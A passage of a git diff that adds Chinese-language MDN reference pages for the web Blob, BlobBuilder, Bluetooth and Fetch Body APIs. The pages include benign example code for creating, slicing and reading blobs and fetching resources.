{{domxref("Blob.stream()", "Blob.stream()")}}
+
返回一个能读取blob内容的 {{domxref("ReadableStream")}}。
+
{{domxref("Blob.text()", "Blob.text()")}}
+
返回一个promise且包含blob所有内容的UTF-8格式的 {{domxref("USVString")}}。
+
{{domxref("Blob.arrayBuffer()", "Blob.arrayBuffer()")}}
+
返回一个promise且包含blob所有内容的二进制格式的 {{domxref("ArrayBuffer")}} 
+
+ +

示例

+ +

Blob 构造函数用法举例

+ +

{{domxref("Blob.Blob", "Blob() 构造函数")}}允许通过其它对象创建 Blob 对象。比如,用字符串构建一个 blob:

+ +
var debug = {hello: "world"};
+var blob = new Blob([JSON.stringify(debug, null, 2)], {type : 'application/json'});
+ +
+

{{ domxref("BlobBuilder") }} 接口提供了另外一种创建Blob 对象的方式,但该方式现在已经废弃,不应继续使用:

+ +
var builder = new BlobBuilder();
+var fileParts = ['<a id="a"><b id="b">hey!</b></a>'];
+builder.append(fileParts[0]);
+var myBlob = builder.getBlob('text/xml');
+
+
+ +

示例:使用 Blob 创建一个指向类型化数组的URL

+ +

参考下面的代码:

+ +
var typedArray = GetTheTypedArraySomehow();
+var blob = new Blob([typedArray.buffer], {type: 'application/octet-stream'}); // 传入一个合适的 MIME 类型
+var url = URL.createObjectURL(blob);
+// 会产生一个类似 blob:d3958f5c-0777-0845-9dcf-2cb28783acaf 这样的URL字符串
+// 你可以像使用普通 URL 那样使用它,比如用在 img.src 上。
+
+ +

示例:从 Blob 中提取数据

+ +

一种从Blob中读取内容的方法是使用 {{domxref("FileReader")}}。以下代码将 Blob 的内容作为类型数组读取:

+ +
var reader = new FileReader();
+reader.addEventListener("loadend", function() {
+   // reader.result 包含被转化为类型数组 typed array 的 blob
+});
+reader.readAsArrayBuffer(blob);
+ +

另一种读取Blob中内容的方式是使用Response对象。下述代码将Blob中的内容读取为文本:

+ +
var text = await (new Response(blob)).text();
+
+ +

通过使用 {{domxref("FileReader")}} 的其它方法可以把 Blob 读取为字符串或者数据URL。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('File API','#blob','Blob')}}{{Spec2('File API')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Blob")}}

+ +

[1]WebKitOpera 11.10 版本实现的 slice() 使用 length 来作为第二个参数。但是,因为这语法异于 {{jsxref("Array/slice", "Array.slice()")}} 和 {{jsxref("String/slice", "String.slice()")}},WebKit 已经将其移除,并添加了 Blob.webkitSlice() 来支持这个新的语法。

+ +

[2] Firefox 4 版本实现的 slice() 使用 length来作为第二个参数。但是,因为这语法异于 {{jsxref("Array/slice", "Array.slice()")}} 和 {{jsxref("String/slice", "String.slice()")}},Gecko 已经将其移除,并添加了 mozSlice() 来支持这个新的语法。

+ +

[3] 在Gecko 12.0 {{ geckoRelease("12.0") }} 之前,有个bug会影响 slice() 的行为,就是参数 startend 的值不能超出64位有符号数字范围,现已修复。

+ +

[4] 请看 {{bug("1048325")}}。

+ +

Gecko 备注:特权许可

+ +

要使用 chrome 代码,JSM 和 Bootstrap 作用域,你必须像这样导入它:

+ +
Cu.importGlobalProperties(['Blob']);
+ +

Blob可以在 Worker 作用域内使用。

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/blob/size/index.html b/files/zh-cn/web/api/blob/size/index.html new file mode 100644 index 0000000000..54ef702af7 --- /dev/null +++ b/files/zh-cn/web/api/blob/size/index.html @@ -0,0 +1,18 @@ +--- +title: File.size +slug: Web/API/Blob/size +translation_of: Web/API/Blob/size +--- +

概述

+

返回一个File对象所指代的文件的大小,单位为字节。

+

例子

+
// fileInput是一个HTMLInputElement元素: <input type="file" multiple id="myfileinput">
+var fileInput = document.getElementById("myfileinput");
+// files是一个FileList对象(类似于NodeList)
+var files = fileInput.files;
+for (var i = 0; i < files.length; i++)
+{
+    alert(files[i].name + "文件的大小为 " + files[i].size + " 字节");
+}
+
+

{{ languages( {"en": "en/DOM/File.size" } ) }}

diff --git a/files/zh-cn/web/api/blob/slice/index.html b/files/zh-cn/web/api/blob/slice/index.html new file mode 100644 index 0000000000..7b0dff2d4d --- /dev/null +++ b/files/zh-cn/web/api/blob/slice/index.html @@ -0,0 +1,117 @@ +--- +title: Blob.slice +slug: Web/API/Blob/slice +translation_of: Web/API/Blob/slice +--- +

{{APIRef("File API")}}

+ +

Blob.slice() 方法用于创建一个包含源 {{domxref("Blob")}}的指定字节范围内的数据的新 {{domxref("Blob")}} 对象。

+ +
注释: 请注意, 在某些浏览器和版本上具有供应商前缀:例如:Firefox 12及更早版本的blob.mozSlice() 和 Safari中的 blob.webkitSlice(). slice() 方法的旧版本,没有供应商前缀,具有不同的语义,并且已过时。
+ +

语法

+ +
var blob = instanceOfBlob.slice([start [, end [, contentType]]]};
+ +

参数

+ +
+
start {{ optional_inline() }}
+
这个参数代表 {{domxref("Blob")}} 里的下标,表示第一个会被会被拷贝进新的 {{domxref("Blob")}} 的字节的起始位置。如果你传入的是一个负数,那么这个偏移量将会从数据的末尾从后到前开始计算。举例来说, -10 将会是  {{domxref("Blob")}} 的倒数第十个字节。它的默认值是0, 如果你传入的start的长度大于源 {{domxref("Blob")}} 的长度,那么返回的将会是一个长度为0并且不包含任何数据的一个 {{domxref("Blob")}} 对象。
+
end {{ optional_inline() }}
+
这个参数代表的是 {{domxref("Blob")}} 的一个下标,这个下标-1的对应的字节将会是被拷贝进新的{{domxref("Blob")}} 的最后一个字节。如果你传入了一个负数,那么这个偏移量将会从数据的末尾从后到前开始计算。举例来说, -10 将会是 {{domxref("Blob")}} 的倒数第十个字节。它的默认值就是它的原始长度(size).
+
contentType {{ optional_inline() }}
+
给新的 {{domxref("Blob")}} 赋予一个新的文档类型。这将会把它的 type 属性设为被传入的值。它的默认值是一个空的字符串。
+
+ +

返回值

+ +

一个新的 {{domxref("Blob")}} 对象,它包含了原始 {{domxref("Blob")}} 对象的某一个段的数据。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('File API','#dfn-slice','slice')}}{{Spec2('File API')}}Initial definition.
+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
功能ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持10 {{property_prefix("webkit")}}‡
+ 21
5 {{ property_prefix("moz") }}‡
+ 13
10125.1 (534.29) {{ property_prefix("webkit") }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
功能AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持{{ CompatUnknown() }}{{ CompatGeckoMobile("13.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

实现 slice() 的一些声明

+ +

slice() 方法第二个参数的默认值将会传入原始 Blob 的长度。 如果你在调用的时候传入的 start + length 超出了原始 Blob 的长度,那么返回的 Blob  对象将会包含从 start 到原始数据的末尾。

+ +

那个版本的 slice() 在 Firefox 4 WebKit 和 Opera 11.10 中实现了。但是它的语法和 Array.slice() 以及 String.slice() 有所出入,所以 Gecko 和 Webkit 移除掉了它的支持并且加上了新语法的支持  {{ manch("mozSlice") }}/Blob.webkitSlice

+ +

从 Gecko 13.0 {{ geckoRelease("13.0") }} 和 Chrome 21 开始, {{ manch("slice") }} 就再也没有浏览器前缀了。

+ +

Gecko notes

+ +

在先前的 Gecko 12.0 {{ geckoRelease("12.0") }}, 有一个 bug 会影响到 {{ manch("slice") }} 的行为; 他在 start 和 end 位置组成的范围超出 signed 64-bit 值的范围的时候不工作; 这个问题已经被解决,现在支持传入 unsigned 64-bit 值.

+ +

参见

+ + diff --git a/files/zh-cn/web/api/blob/stream/index.html b/files/zh-cn/web/api/blob/stream/index.html new file mode 100644 index 0000000000..c14f5faa1c --- /dev/null +++ b/files/zh-cn/web/api/blob/stream/index.html @@ -0,0 +1,66 @@ +--- +title: Blob.stream() +slug: Web/API/Blob/stream +tags: + - API + - Blob + - stream + - 文件读写 +translation_of: Web/API/Blob/stream +--- +

{{APIRef("File API")}}

+ +

{{domxref("Blob")}}接口的stream() 方法返回一个{{domxref("ReadableStream")}}对象,读取它将返回包含在Blob中的数据。

+ +

语法

+ +
var stream = blob.stream();
+ +

参数

+ +

无。

+ +

返回值

+ +

一个{{domxref("ReadableStream")}}对象,读取后返回 Blob的内容。

+ +

使用说明

+ +

使用 stream() 函数与其返回的{{domxref("ReadableStream")}}对象,你将得到一些有趣的能力:

+ + + +

标准

+ + + + + + + + + + + + + + +
标准状态注释
{{SpecName("File API", "#dom-blob-stream", "Blob.stream()")}}{{Spec2("File API")}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Blob.stream")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/blob/text/index.html b/files/zh-cn/web/api/blob/text/index.html new file mode 100644 index 0000000000..45df1aa79b --- /dev/null +++ b/files/zh-cn/web/api/blob/text/index.html @@ -0,0 +1,71 @@ +--- +title: Blob.text() +slug: Web/API/Blob/text +tags: + - 数据 + - 文本 +translation_of: Web/API/Blob/text +--- +
{{APIRef("File API")}}
+ +

text() 方法返回一个 {{jsxref("Promise")}} 对象,包含 blob 中的内容,使用 UTF-8 格式编码。

+ + + +

语法

+ +
var textPromise = blob.text();
+
+blob.text().then(text => /* 执行的操作…… */);
+
+var text = await blob.text();
+
+ +

参数

+ +

无须提供任何参数。

+ +

返回值

+ +

返回一个 promise 对象,以 resolve 状态返回一个以文本形式包含 blob 中数据的 {{domxref("USVString")}}。并且该数据总是被识别为 UTF-8 格式。

+ +

使用须知

+ +

{{domxref("FileReader")}} 的 {{domxref("FileReader.readAsText", "readAsText()")}} 方法是一个与之类似的方法,它对 Blob 和 {{domxref("File")}} 对象都适用。下面是两个主要的不同之处:

+ + + +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("File API", "#dom-blob-text", "Blob.text()")}}{{Spec2("File API")}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Blob.text")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/blob/type/index.html b/files/zh-cn/web/api/blob/type/index.html new file mode 100644 index 0000000000..a06399628c --- /dev/null +++ b/files/zh-cn/web/api/blob/type/index.html @@ -0,0 +1,73 @@ +--- +title: Blob.type +slug: Web/API/Blob/type +tags: + - API + - DOM + - File + - Files + - 参考 + - 属性 + - 文件 +translation_of: Web/API/Blob/type +--- +
{{APIRef("File API")}}
+ +

Blob 对象的 type 属性给出文件的 MIME 类型。如果类型无法确定,则返回空字符串。

+ +

语法

+ +
var mimetype = instanceOfFile.type
+ +

+ +

字符串

+ +

例子

+ +
// fileInput是一个 HTMLInputElement,HTML Input 元素: <input type="file" multiple id="myfileinput">
+var fileInput = document.getElementById("myfileinput");
+
+// files 是一个 FileList 对象(与 NodeList 相似,是多个 File 对象的集合)
+var files = fileInput.files;
+
+// 仅允许 *.png, *.jpeg *.gif 类型的图片文件
+var allowedFileTypes = ["image/png", "image/jpeg", "image/gif"];
+
+for (var i = 0; i < files.length; i++) {
+    // 检查文件的文件类型是否属于 allowFileTypes 中的一种
+    if (allowedFileTypes.indexOf(files[i].type) > -1) {
+        // 对符合条件的文件进行处理
+    }
+}
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('File API', '#dfn-type', 'type')}}{{Spec2('File API')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Blob.type")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/blobbuilder/index.html b/files/zh-cn/web/api/blobbuilder/index.html new file mode 100644 index 0000000000..03248ac1e5 --- /dev/null +++ b/files/zh-cn/web/api/blobbuilder/index.html @@ -0,0 +1,172 @@ +--- +title: BlobBuilder +slug: Web/API/BlobBuilder +translation_of: Web/API/BlobBuilder +--- +

{{ deprecated_header() }}

+

{{ SeeCompatTable() }}

+

The BlobBuilder interface provides an easy way to construct {{ domxref("Blob") }} objects. Just create a BlobBuilder and append chunks of data to it by calling the {{ manch("append") }} method. When you're done building your blob, call {{ manch("getBlob") }} to retrieve a {{ domxref("Blob") }} containing the data you sent into the blob builder.

+
+ 注:BlobBuilder接口已经废弃,请使用新版草案中引入的 {{domxref('Blob') }}构造函数.
+

方法概述

+ + + + + + + + + + + + + + + + + + +
void append(in ArrayBuffer data);
void append(in Blob data);
void append(in String data, [optional] in String endings);
Blob getBlob([optional] in DOMString contentType);
File getFile(in DOMString name, [optional] in DOMString contentType);
+

方法

+

append()

+

Appends the contents of the specified JavaScript object to the {{ domxref("Blob") }} being built. If the value you specify isn't a {{ domxref("Blob") }}, ArrayBuffer, or String, the value is coerced to a string before being appended to the blob.

+
void append(
+  in ArrayBuffer data
+);
+
+void append(
+  in Blob data
+);
+
+
+void append(
+  in String data,
+  [optional] in String endings
+);
+
+
参数
+
+
+ data
+
+ The data to append to the {{ domxref("Blob") }} being constructed.
+
+ endings
+
+ Specifies how strings containing \n are to be written out. This can be "transparent" (endings unchanged) or "native" (endings changed to match host OS filesystem convention). The default value is "transparent".
+
+

getBlob()

+

Returns the {{ domxref("Blob") }} object that has been constructed using the data passed through calls to {{ manch("append") }}.

+
Blob getBlob(
+  in DOMString contentType {{ optional_inline() }}
+);
+
+
参数
+
+
+ contentType {{ optional_inline() }}
+
+ The MIME type of the data to be returned in the {{ domxref("Blob") }}. This will be the value of the Blob object's type property.
+
+
返回值
+

A {{ domxref("Blob") }} object containing all of the data passed to any calls to {{ manch("append") }} made since the BlobBuilder was created. This also resets the BlobBuilder so that the next call to {{ manch("append") }} is starting a new, empty blob.

+

getFile() {{ non-standard_inline() }}

+

返回一个{{ domxref("File") }}对象.

+
File getFile(
+  in DOMString name,
+  [optional] in DOMString contentType
+);
+
+
参数
+
+
+ name
+
+ 文件名.
+
+ contentType {{ optional_inline() }}
+
+ 设置返回的{{ domxref("File") }}对象中的数据的MIME类型.这个值将会成为返回的File对象的type属性的值.
+
+
返回值
+

一个{{ domxref("File") }}对象.

+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8
+ As WebKitBlobBuilder
{{ CompatGeckoDesktop("6.0") }}
+ As MozBlobBuilder
10
+ As MSBlobBuilder
{{ CompatNo() }}{{ CompatNo() }}†
getfile() {{ non-standard_inline() }}{{ CompatNo() }}{{ CompatGeckoDesktop("8.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support3
+ As WebKitBlobBuilder
{{ CompatGeckoMobile("6.0") }}
+ As MozBlobBuilder
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
getfile() {{ non-standard_inline() }}{{ CompatNo() }}{{ CompatGeckoMobile("8.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+

注:BlobBuilder已被废弃

+ +

相关链接

+ diff --git a/files/zh-cn/web/api/bluetooth/index.html b/files/zh-cn/web/api/bluetooth/index.html new file mode 100644 index 0000000000..cd46b72ee7 --- /dev/null +++ b/files/zh-cn/web/api/bluetooth/index.html @@ -0,0 +1,114 @@ +--- +title: Bluetooth +slug: Web/API/Bluetooth +tags: + - API + - 接口 + - 网页蓝牙接口说明 + - 蓝牙 + - 说明 +translation_of: Web/API/Bluetooth +--- +

{{ apiref("Web Bluetooth API") }} {{Non-standard_header()}}

+ +

Web Bluetooth API 的Bluetooth接口返回指代{{domxref("BluetoothDevice")}}带有指定选项的对象的{{jsxref("Promise")}}。

+ +

接口

+ +
interface Bluetooth {
+  Promise<BluetoothDevice> requestDevice(RequestDeviceOptions options);
+};
+Bluetooth implements EventTarget;
+Bluetooth implements BluetoothDeviceEventHandlers;
+Bluetooth implements CharacteristicEventHandlers;
+Bluetooth implements ServiceEventHandlers;
+ +

特性

+ +
+
+
+ +

方法

+ +
+
{{domxref("Bluetooth.requestDevice()")}}
+
返回一个包含指定选项的{{domxref("BluetoothDevice")}}对象的{{jsxref("Promise")}}。
+
+ +

详细说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Bluetooth', '#bluetooth', 'Bluetooth')}}{{Spec2('Web Bluetooth')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome (45.0)}} [1]    
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}     {{CompatChrome (48.0)}} [2]
+
+ +

[1] 注意事项:仅谷歌浏览器可用

+ +

[2] 注意事项:仅安卓6以上可用

diff --git a/files/zh-cn/web/api/bluetooth/requestdevice/index.html b/files/zh-cn/web/api/bluetooth/requestdevice/index.html new file mode 100644 index 0000000000..abfad37108 --- /dev/null +++ b/files/zh-cn/web/api/bluetooth/requestdevice/index.html @@ -0,0 +1,145 @@ +--- +title: Bluetooth.requestDevice() +slug: Web/API/Bluetooth/requestDevice +tags: + - API + - Web蓝牙 + - 蓝牙 +translation_of: Web/API/Bluetooth/requestDevice +--- +

{{APIRef()}}{{SeeCompatTable}}

+ +

{{domxref("Bluetooth")}}接口的Bluetooth.requestDevice()方法返回一个带有对应options的{{domxref("BluetoothDevice")}}对象的{{jsxref("Promise")}}对象. 如果没有蓝牙设备选择界面,则此方法返回与条件匹配的第一个设备。

+ +

语法

+ +
Bluetooth.requestDevice(options).then(function(bluetoothDevice) { ... })
+ +

返回值

+ +

带有{{domxref("BluetoothDevice")}} 对象的{{jsxref("Promise")}} 对象.

+ +

参数

+ +
+
options 
+
设置设备请求选项的对象. 可用的选项是: +
    +
  • filters[]: 一个BluetoothScanFilters数组。 此过滤器由一个BluetoothServiceUUID数组,一个名称参数和一个namePrefix参数组成。
  • +
  • optionalServices[]: 一个BluetoothServiceUUID数组。
  • +
  • acceptAllDevices: boolean 表示请求脚本可以接受所有蓝牙设备。 默认值为false。
  • +
+
+
+ +

示例

+ +
//扫描选项匹配任何设备广播:
+
+//. 标准心率服务。
+
+//. 两个16位服务ID 0x1802和0x1803。
+
+//. 专有的128位UUID服务c48e6067-5295-48d3-8d5c-0395f61792b1。
+
+//. 名称为“设备名”的设备。
+
+//. 名称以“前缀”开头的设备。
+
+//
+
+//如果设备包含电池服务,
+
+//即使设备不通告该服务,也可以访问电池服务。
+
+let options = {
+  filters: [
+    {services: ['heart_rate']},
+    {services: [0x1802, 0x1803]},
+    {services: ['c48e6067-5295-48d3-8d5c-0395f61792b1']},
+    {name: '设备名'},
+    {namePrefix: '前缀'}
+  ],
+  optionalServices: ['battery_service']
+}
+
+navigator.bluetooth.requestDevice(options).then(function(device) {
+  console.log('名称: ' + device.name);
+  // 在此处实现设备调用
+})
+.catch(function(error) {
+  console.log("出现错误: " + error);
+});
+ +

查看详细示例 

+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Web Bluetooth', '#dom-bluetooth-requestdevice', 'requestDevice()')}}{{Spec2('Web Bluetooth')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome (56)}}  {{CompatOpera(43)}} 
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome (56)}}   {{CompatOperaMobile(43)}} 
+
diff --git a/files/zh-cn/web/api/body/arraybuffer/index.html b/files/zh-cn/web/api/body/arraybuffer/index.html new file mode 100644 index 0000000000..3cf99f2e58 --- /dev/null +++ b/files/zh-cn/web/api/body/arraybuffer/index.html @@ -0,0 +1,142 @@ +--- +title: Body.arrayBuffer() +slug: Web/API/Body/arrayBuffer +translation_of: Web/API/Body/arrayBuffer +--- +

{{APIRef("Fetch")}}{{ SeeCompatTable() }}

+ +

 {{domxref("Body")}}上的方法 arrayBuffer() 接受一个 {{domxref("Response")}} 流, 并等待其读取完成. 它返回一个 promise 实例, 并 resolve 一个 {{domxref("ArrayBuffer")}} 对象.

+ +

语法

+ +
response.arrayBuffer().then(function(buffer) {
+  // do something with buffer
+)};
+ +

参数

+ +

无。

+ +

返回值

+ +

A promise that resolves with an {{domxref("ArrayBuffer")}}.

+ +

例子

+ +

In our fetch array buffer example (run fetch array buffer live), we have a Play button. When pressed, the getData() function is run.

+ +

In getData() we create a new request using the {{domxref("Request.Request")}} constructor, then use it to fetch an OGG music track. We also use {{domxref("AudioContext.createBufferSource")}} to create an audio buffer source.  When the fetch is successful, we read an {{domxref("ArrayBuffer")}} out of the response using arrayBuffer(), decode the audio data using {{domxref("AudioContext.decodeAudioData")}}, set the decoded data as the audio buffer source's buffer (source.buffer), then connect the source up to the {{domxref("AudioContext.destination")}}.

+ +

Once getData() has finished running, we start the audio source playing with start(0), then disable the play button so it can't be clicked again when it is already playing (this would cause an error.)

+ +
function getData() {
+  source = audioCtx.createBufferSource();
+
+  var myRequest = new Request('viper.ogg');
+
+  fetch(myRequest).then(function(response) {
+    response.arrayBuffer().then(function(buffer) {
+      audioCtx.decodeAudioData(buffer, function(decodedData) {
+        source.buffer = decodedData;
+        source.connect(audioCtx.destination);
+      });
+    });
+  });
+};
+
+// wire up buttons to stop and play audio
+
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+}
+ +

标准

+ + + + + + + + + + + + + + +
标准状态备注
{{SpecName('Fetch','#dom-body-arraybuffer','arrayBuffer()')}}{{Spec2('Fetch')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(41) }}[1]
+ {{ CompatChrome(42) }}
+  
34[1]
+ {{ CompatGeckoDesktop(39)}}
{{ CompatNo }} +

28[1]
+ 29

+
{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

[1] In Chrome 42, Firefox 34 and Opera 28 support for arrayBuffer() was hidden behind a preference.

+ +

参考

+ + + + diff --git a/files/zh-cn/web/api/body/blob/index.html b/files/zh-cn/web/api/body/blob/index.html new file mode 100644 index 0000000000..6b292cc7a5 --- /dev/null +++ b/files/zh-cn/web/api/body/blob/index.html @@ -0,0 +1,136 @@ +--- +title: Body.blob() +slug: Web/API/Body/blob +tags: + - Body.blob() +translation_of: Web/API/Body/blob +--- +

{{APIRef("Fetch")}}

+ +

{{domxref("Body")}}  mixin的 blob()方法使用一个 {{domxref("Response")}} 流,并将其读取完成。它返回一个使用{{domxref("Blob")}}解决的promise。

+ +

句法

+ +
response.blob().then(function(myBlob) {
+  // do something with myBlob
+});
+ +

参数

+ +

None.

+ +

返回值

+ +

A promise that resolves with a {{domxref("Blob")}}.

+ +

例子

+ +

在我们 fetch request example (run fetch request live)中,我们使用Request.Request构造方法创建了一个新的request对象,然后使用它来获取一个JPG文件。当fetch成功的时候,我们使用blob()从response中读取一个Blob对象,并使用URL.createObjectURL 将它放入一个object URL ,然后把URL设置为img元素的src属性以显示这张图片。

+ +

 

+ +
var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest)
+.then(function(response) {
+  return response.blob();
+})
+.then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+});
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Fetch','#dom-body-blob','blob()')}}{{Spec2('Fetch')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(42) }} [1]
+  
{{CompatVersionUnknown}}{{ CompatGeckoDesktop(39)}} [2]{{ CompatNo }} +

29 [3]

+
{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{CompatVersionUnknown}}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

[1] Behind a preference in version 41.

+ +

[2] Behind a preference starting with version 34.

+ +

[3] Behind a preference in version 28.

+ +

另见

+ + diff --git a/files/zh-cn/web/api/body/body/index.html b/files/zh-cn/web/api/body/body/index.html new file mode 100644 index 0000000000..2361cc9145 --- /dev/null +++ b/files/zh-cn/web/api/body/body/index.html @@ -0,0 +1,86 @@ +--- +title: Body.body +slug: Web/API/Body/body +translation_of: Web/API/Body/body +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Body")}} mixin的只读getter属性 body 用于暴露其body内容的{{domxref("ReadableStream")}}(流读取)。

+ +

语法

+ +
var stream = responseInstance.body;
+ +

Value

+ +

一个 {{domxref("ReadableStream")}}.

+ +

例程

+ +

在我们的 simple stream pump 例程中我们fetch一个图片地址,使用response.body暴露响应的流,用{{domxref("body.getReader()", "ReadableStream.getReader()")}}创建一个读取器,然后将其置入第二个自定义读取流中——有效的创建了一个完全相同的图片副本。

+ +
const image = document.getElementById('target');
+
+// 请求原始图片
+fetch('./tortoise.png')
+// 取出body
+.then(response => response.body)
+.then(body => {
+  const reader = body.getReader();
+
+  return new ReadableStream({
+    start(controller) {
+      return pump();
+
+      function pump() {
+        return reader.read().then(({ done, value }) => {
+          // 读不到更多数据就关闭流
+          if (done) {
+            controller.close();
+            return;
+          }
+
+          // 将下一个数据块置入流中
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+.then(stream => new Response(stream))
+.then(response => response.blob())
+.then(blob => URL.createObjectURL(blob))
+.then(url => console.log(image.src = url))
+.catch(err => console.error(err));
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Fetch','#dom-body-body','body')}}{{Spec2('Fetch')}} 
+ +

浏览器兼容性

+ +
{{Compat("api.Body.body")}}
+ +

 

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/body/bodyused/index.html b/files/zh-cn/web/api/body/bodyused/index.html new file mode 100644 index 0000000000..fd776b8a65 --- /dev/null +++ b/files/zh-cn/web/api/body/bodyused/index.html @@ -0,0 +1,134 @@ +--- +title: Body.bodyUsed +slug: Web/API/Body/bodyUsed +translation_of: Web/API/Body/bodyUsed +--- +

{{APIRef("Fetch")}}{{ SeeCompatTable }}

+ +

bodyUsed 是{{domxref("Body")}} mixin中的一个只读属性。用以表示该body是否被使用过。

+ +

语法

+ +
var myBodyUsed = response.bodyUsed;
+ +

可能的值

+ +

{{domxref("Boolean")}}.

+ +

示例

+ +

在以下fetch 请求示例(运行 fetch request live)。通过{{domxref("Request.Request")}}构造器创建了一个fetch请求,来获得一张JPG图片。当fetch成功后,通过{{domxref("Blob")}} 来使用了fetch返回的资源--{{domxref("URL.createObjectURL")}}创建该资源的URL,并作为 {{htmlelement("img")}}元素的src源来显示图片。

+ +

注意:在response.blob()被调用前后,输出response.bodyUsed的差异。

+ +

HTML Content

+ +
<img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png">
+
+ +

JS Content

+ +
var myImage = document.querySelector('.my-image');
+fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg').then(function(response) {
+    console.log(response.bodyUsed);
+    var res = response.blob();
+    console.log(response.bodyUsed);
+    return res;
+}).then(function(response) {
+    var objectURL = URL.createObjectURL(response);
+    myImage.src = objectURL;
+});
+ +

{{ EmbedLiveSample('Example', '100%', '250px') }}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-body-bodyused','bodyUsed')}}{{Spec2('Fetch')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(42) }} [1]
+  
{{CompatVersionUnknown}}{{ CompatGeckoDesktop(39)}} [2]{{ CompatNo }} +

29 [3]

+
{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{CompatVersionUnknown}}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

[1] Behind a preference in version 41.

+ +

[2] Behind a preference starting with version 34.

+ +

[3] Behind a preference in version 28.

+ +

See also

